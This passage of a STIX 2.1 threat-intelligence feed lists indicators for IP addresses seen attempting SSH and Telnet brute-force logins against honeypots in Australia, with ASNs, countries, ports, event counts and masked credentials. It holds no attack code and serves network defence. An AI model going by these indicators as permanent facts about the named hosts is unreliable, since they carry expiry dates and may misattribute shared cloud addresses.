      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 24945. Organisation(s): Telecommunication Company Vinteleport Ltd..",
      "id": "indicator--4556a5f2-a626-4237-8c71-5b5ad130504b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T00:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '79.143.42.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T00:15:09.000Z",
      "valid_until": "2026-05-03T00:15:09.000Z"
    },
    {
      "created": "2026-04-01T00:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 5432. Source country: BG. ASN(s): 213438. Organisation(s): ColocaTel Inc.. Usernames observed (masked): p******s. Passwords observed (masked): p*******3.",
      "id": "indicator--20e59cd0-b8ec-4a54-a501-1777571b714e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T00:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '85.11.167.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T00:15:09.000Z",
      "valid_until": "2026-05-03T00:15:09.000Z"
    },
    {
      "created": "2026-04-01T00:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 3269. Organisation(s): TIM.",
      "id": "indicator--fa114a47-553e-4ae3-a12d-74ff837dbd53",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T00:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '87.2.241.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T00:15:09.000Z",
      "valid_until": "2026-05-03T00:15:09.000Z"
    },
    {
      "created": "2026-04-01T00:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 202412. Organisation(s): Omegatech LTD. Usernames observed (masked): o****e. Passwords observed (masked): o****3.",
      "id": "indicator--539b52cf-e27f-4a4e-b93c-ed465e25241b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T00:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '94.154.35.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T00:15:09.000Z",
      "valid_until": "2026-05-03T00:15:09.000Z"
    },
    {
      "created": "2026-04-01T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 224. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******!, 1**********1, @*********3.",
      "id": "indicator--700c0fc6-02ce-44e0-af45-98222389b794",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '117.247.23.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T01:15:11.000Z",
      "valid_until": "2026-05-03T01:15:09.000Z"
    },
    {
      "created": "2026-04-01T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1465. Sensors involved: Heralding. Target ports: 5900. Source country: LT. ASN(s): 209605. Organisation(s): UAB Host Baltic. Passwords observed (masked): 1******8, P******d, P******D, b******a, i******a.",
      "id": "indicator--e6e409da-0f37-4eb3-8e30-6bbb363b7164",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '141.98.11.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T01:15:11.000Z",
      "valid_until": "2026-05-03T01:15:09.000Z"
    },
    {
      "created": "2026-04-01T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 858. Sensors involved: Heralding. Target ports: 5900. Source country: LT. ASN(s): 209605. Organisation(s): UAB Host Baltic. Passwords observed (masked): 1******8, P******d, p******d, 1******1, J******r.",
      "id": "indicator--3062b7e6-d198-46c6-9148-cd4565869938",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '141.98.11.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T01:15:11.000Z",
      "valid_until": "2026-05-03T01:15:09.000Z"
    },
    {
      "created": "2026-04-01T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 39. Sensors involved: Cowrie. Target ports: 22. Source country: MA. ASN(s): 36903. Organisation(s): MT-MPLS.",
      "id": "indicator--5198c928-715c-4a51-88f1-c10f87925a9f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '160.177.67.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T01:15:11.000Z",
      "valid_until": "2026-05-03T01:15:09.000Z"
    },
    {
      "created": "2026-04-01T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 1********0, A***********, D****N.",
      "id": "indicator--c7c043cb-89b1-4433-a4a9-32a7bfc41170",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '180.76.243.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T01:15:11.000Z",
      "valid_until": "2026-05-03T01:15:09.000Z"
    },
    {
      "created": "2026-04-01T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BO. ASN(s): 26210. Organisation(s): AXS Bolivia S. A..",
      "id": "indicator--3023b98a-32da-4d87-bcbd-d57bebc1d5a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '186.121.249.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T01:15:11.000Z",
      "valid_until": "2026-05-03T01:15:09.000Z"
    },
    {
      "created": "2026-04-01T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): a***n. Passwords observed (masked): r***l, r**o, r****s, r***l, r*****e.",
      "id": "indicator--c65e9c33-a519-4e54-a3b8-731b81d6d66f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '2.57.121.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T01:15:11.000Z",
      "valid_until": "2026-05-03T01:15:09.000Z"
    },
    {
      "created": "2026-04-01T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--0e0d2c81-bb42-4044-8b52-03a6ead8f504",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '52.91.15.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T01:15:11.000Z",
      "valid_until": "2026-05-03T01:15:09.000Z"
    },
    {
      "created": "2026-04-01T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): s****a. Passwords observed (masked): s****a.",
      "id": "indicator--2c1eeb9f-3d21-4b3e-bbd5-de022be35ed1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '80.94.92.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T01:15:11.000Z",
      "valid_until": "2026-05-03T01:15:09.000Z"
    },
    {
      "created": "2026-04-01T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 209605. Organisation(s): UAB Host Baltic.",
      "id": "indicator--45fc725e-5c42-49ba-991b-522779aa241b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.224.92.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T01:15:11.000Z",
      "valid_until": "2026-05-03T01:15:09.000Z"
    },
    {
      "created": "2026-04-01T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 131366. Organisation(s): Lanit Technology and Communication Joint Stock Company. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, Q********5, a****8, a********t.",
      "id": "indicator--85fc5268-81dd-48e0-9294-c55e9afc1e20",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.146.23.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T02:15:10.000Z",
      "valid_until": "2026-05-03T02:15:08.000Z"
    },
    {
      "created": "2026-04-01T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 45671. Organisation(s): Wholesale Services Provider. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !********x, 1*******z, 1*******2, 3***********4, 3**********4.",
      "id": "indicator--e875fcd5-8ea3-4a9d-b732-7ed539d6dcc6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '118.127.40.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T02:15:10.000Z",
      "valid_until": "2026-05-03T02:15:08.000Z"
    },
    {
      "created": "2026-04-01T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 202412. Organisation(s): Omegatech LTD.",
      "id": "indicator--76589a38-2eea-4e73-818f-3b60c7e4e471",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '130.12.180.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T02:15:10.000Z",
      "valid_until": "2026-05-03T02:15:08.000Z"
    },
    {
      "created": "2026-04-01T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 680. Organisation(s): Verein zur Foerderung eines Deutschen Forschungsnetzes e.V..",
      "id": "indicator--43ab7c46-c528-4310-aaa5-4143a0c9e7e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '139.19.117.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T02:15:10.000Z",
      "valid_until": "2026-05-03T02:15:08.000Z"
    },
    {
      "created": "2026-04-01T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1741. Sensors involved: Heralding. Target ports: 5900. Source country: LT. ASN(s): 209605. Organisation(s): UAB Host Baltic. Passwords observed (masked): P******D, P******d, 1******0, 1******3, B******l.",
      "id": "indicator--32fd6dba-3cac-46c4-a4da-f023d3ff66ed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '141.98.11.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T02:15:10.000Z",
      "valid_until": "2026-05-03T02:15:08.000Z"
    },
    {
      "created": "2026-04-01T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt).",
      "id": "indicator--465bb9f3-9c76-41c6-bced-30b2f01f0ca1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.65.148.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T02:15:10.000Z",
      "valid_until": "2026-05-03T02:15:08.000Z"
    },
    {
      "created": "2026-04-01T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UA. ASN(s): 211736. Organisation(s): FOP Dmytro Nedilskyi. Usernames observed (masked): r**t. Passwords observed (masked): 8******8.",
      "id": "indicator--83a3668a-6a1c-4227-b242-746f85d296ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.156.73.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T02:15:10.000Z",
      "valid_until": "2026-05-03T02:15:08.000Z"
    },
    {
      "created": "2026-04-01T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 312. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PE. ASN(s): 12252. Organisation(s): America Movil Peru S.A.C.. Usernames observed (masked): r**t, o****e, a****e, l********e, m***l. Passwords observed (masked): 1****6, a****3, *, !******r, !******X.",
      "id": "indicator--45324f85-991c-4a3e-b810-83f90f056400",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '190.119.63.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T02:15:10.000Z",
      "valid_until": "2026-05-03T02:15:08.000Z"
    },
    {
      "created": "2026-04-01T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie. Target ports: 23. Source country: JM. ASN(s): 30689. Organisation(s): FLOW. Usernames observed (masked): r**t, e****e, **. Passwords observed (masked): q****y, s***l, s****m, t**r.",
      "id": "indicator--4d1cecf9-e555-4cc5-811f-b5a15bf3dcd6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '216.10.217.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T02:15:10.000Z",
      "valid_until": "2026-05-03T02:15:08.000Z"
    },
    {
      "created": "2026-04-01T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 62005. Organisation(s): BlueVPS OU. Usernames observed (masked): r**t. Passwords observed (masked): q****y.",
      "id": "indicator--b31511fd-5732-4d70-a2b1-2234992e942a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.150.109.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T02:15:10.000Z",
      "valid_until": "2026-05-03T02:15:08.000Z"
    },
    {
      "created": "2026-04-01T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--f1ec5304-3ec8-4bf8-acef-6df427d74888",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T02:15:10.000Z",
      "valid_until": "2026-05-03T02:15:08.000Z"
    },
    {
      "created": "2026-04-01T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): a***n. Passwords observed (masked): A******3.",
      "id": "indicator--3a6a37a2-13a5-411c-9673-0cb15aaf9fd5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '77.90.185.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T02:15:10.000Z",
      "valid_until": "2026-05-03T02:15:08.000Z"
    },
    {
      "created": "2026-04-01T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t. Passwords observed (masked): a*********', q******4.",
      "id": "indicator--0da08442-5b61-4d67-a6b8-774ec7585948",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '168.138.213.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T03:15:10.000Z",
      "valid_until": "2026-05-03T03:15:08.000Z"
    },
    {
      "created": "2026-04-01T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22, 587. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): a***n. Passwords observed (masked): 1***5, P******d, a*******3, a********n, u**t.",
      "id": "indicator--d1f39cea-e9a0-48ac-b1ed-06cdce0051cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '193.46.255.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T03:15:10.000Z",
      "valid_until": "2026-05-03T03:15:08.000Z"
    },
    {
      "created": "2026-04-01T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1***1, 3***********4, 3**********4, P*******6, T********^.",
      "id": "indicator--07c8f7f7-4af6-44f8-8928-7043ad3fac81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.123.134.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T03:15:10.000Z",
      "valid_until": "2026-05-03T03:15:08.000Z"
    },
    {
      "created": "2026-04-01T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 133481. Organisation(s): AIS Fibre. Usernames observed (masked): e****e, l********l, m*****r, s***l. Passwords observed (masked): m*****r, p******h, **, s****m.",
      "id": "indicator--6fe787c6-36f8-459f-bdfa-299574876589",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '49.228.120.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T03:15:10.000Z",
      "valid_until": "2026-05-03T03:15:08.000Z"
    },
    {
      "created": "2026-04-01T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 80. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, u**r, a****e, e****t, g****b. Passwords observed (masked): 1****6, !******r, 1****1, P******d, a*******3.",
      "id": "indicator--e09b9670-5f26-46a5-88b4-6d7397cebe83",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '51.79.84.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T03:15:10.000Z",
      "valid_until": "2026-05-03T03:15:08.000Z"
    },
    {
      "created": "2026-04-01T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): A*******************p, G************1, U******************************************************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--78b36540-ea30-4a2a-8821-f21a28877b41",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T03:15:10.000Z",
      "valid_until": "2026-05-03T03:15:08.000Z"
    },
    {
      "created": "2026-04-01T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 41. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): ***, s****a, s**v, u****u. Passwords observed (masked): ***, 1**4, ***, s****a, s**v.",
      "id": "indicator--09681613-da60-40d4-a081-337ecf3873ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '92.118.39.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T03:15:10.000Z",
      "valid_until": "2026-05-03T03:15:08.000Z"
    },
    {
      "created": "2026-04-01T04:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 135905. Organisation(s): VIETNAM POSTS AND TELECOMMUNICATIONS GROUP.",
      "id": "indicator--da54be56-ed1e-49f4-ab02-7e5645fb229f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.166.183.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T04:15:13.000Z",
      "valid_until": "2026-05-03T04:15:09.000Z"
    },
    {
      "created": "2026-04-01T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--ec4191ae-39e9-4d05-90e0-a89045947d0f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T04:15:13.000Z",
